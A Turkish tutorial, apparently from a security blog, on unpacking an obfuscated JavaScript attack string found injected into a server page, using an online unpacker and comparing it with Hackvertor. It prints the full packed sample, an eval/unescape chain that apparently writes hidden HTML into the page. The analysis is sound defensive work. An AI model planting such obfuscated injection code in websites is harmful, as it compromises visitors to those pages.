Sunucunuzda bir sayfada, aşağıdaki gibi bir javascript saldırı kodu ile karşılaştığımızı düşünelim (!);
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('j(k("%b%l%d%1%m%9%n%f%o%p%q%r%f%9%s%g%2%1%0%0%6%d%2%1%0%0%3%7%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%h%2%1%0%0%3%b%2%1%0%0%3%a%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%5%2%1%0%0%3%6%2%1%0%0%6%b%2%1%0%0%5%5%2%1%0%0%3%c%2%1%0%0%4%8%2%1%0%0%4%8%2%1%0%0%4%0%2%1%0%0%6%i%2%1%0%0%5%e%2%1%0%0%5%e%2%1%0%0%4%4%2%1%0%0%4%4%2%1%0%0%4%4%2%1%0%0%5%9%2%1%0%0%4%4%2%1%0%0%3%a%2%1%0%0%3%5%2%1%0%0%3%4%2%1%0%0%4%a%2%1%0%0%4%3%2%1%0%0%3%a%2%1%0%0%3%9%2%1%0%0%3%d%2%1%0%0%3%7%2%1%0%0%3%4%2%1%0%0%3%7%2%1%0%0%5%9%2%1%0%0%3%e%2%1%0%0%4%5%2%1%0%0%3%4%2%1%0%0%5%5%2%1%0%0%5%0%2%1%0%0%4%4%2%1%0%0%3%7%2%1%0%0%3%8%2%1%0%0%4%8%2%1%0%0%3%c%2%1%0%0%6%b%2%1%0%0%6%0%2%1%0%0%4%0%2%1%0%0%4%c%2%1%0%0%5%0%2%1%0%0%3%c%2%1%0%0%3%a%2%1%0%0%3%7%2%1%0%0%3%4%2%1%0%0%3%c%2%1%0%0%4%8%2%1%0%0%6%b%2%1%0%0%6%0%2%1%0%0%4%0%2%1%0%0%4%c%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%8%2%1%0%0%4%7%2%1%0%0%3%d%2%1%0%0%3%a%2%1%0%0%6%b%2%1%0%0%5%5%2%1%0%0%4%3%2%1%0%0%3%7%2%1%0%0%4%6%2%1%0%0%3%7%2%1%0%0%3%5%2%1%0%0%3%7%2%1%0%0%3%d%2%1%0%0%3%7%2%1%0%0%4%8%2%1%0%0%4%7%2%1%0%0%6%i%2%1%0%0%3%c%2%1%0%0%3%7%2%1%0%0%3%8%2%1%0%0%3%8%2%1%0%0%3%a%2%1%0%0%3%9%2%1%0%0%6%t%2%1%0%0%5%5%2%1%0%0%6%9%2%1%0%0%6%d%2%1%0%0%5%e%2%1%0%0%3%7%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%h%2%1%0%0%3%b%2%1%0%0%3%a%2%1%0%0%6%9%g%u%v"));',32,32,'30|75|5c|36|37|32|33|39|34|65|35|64|38|63|66|74|27|31|61|eval|unescape|6f|6d|6e|2e|77|72|69|28|62|29|3b'.split('|'),0,{}));
Parçayı analiz etmek için, saldırı dizgisinin genel imzasından, saldırganın packer aracını kullandığı anlaşıldıktan sonra, kodun önce açılması (unpack) gerekmektedir. packer sayfasında Unpack işlemini gerçekleştirmek adına html,javascript,css ölüm üçgeninden (firefox,firebug kullansak dahi) kurtulmak için, kod yukarıdaki Input bölümüne yapıştırılır ve "UNPACK" butonuna basılır. Aşağıdaki resimde bu işlem sonucu elde edilen, hex (real url) kodlanmış javascript dizgisi gösterilmektedir.
Bu işlemden sonra, "PASS OUTPUT TO INPUT" butonuna basılır ve aktarılan dizgideki "eval()" fonksiyonu silinerek, "EVAL TO OUTPUT" butonuna tıklanır. Aşağıdaki resimde bu işlem sonucu elde edilen, unicode kodlanmış javascript dizgisi gösterilmektedir.
Sonra, ilk olarak "PASS OUTPUT TO INPUT" butonuna basılır. İkinci olarak benzer şekilde aktarılan dizgiden "document.write()" fonksiyonu silinir ve "EVAL TO OUTPUT" butonuna tıklanır. Aşağıdaki resimde bu işlem sonucu elde edilen, sonuç html dizgisi gösterilmektedir.
Kullanış ve yetenek itibari ile Hackvertor aracı ile kıyaslanamayacak olan I-Packer'ın Hackvertor'e göre tek avantajı, packer aracının (zor bir yol ile) sağladığı unpack özelliğini barındırmasıdır.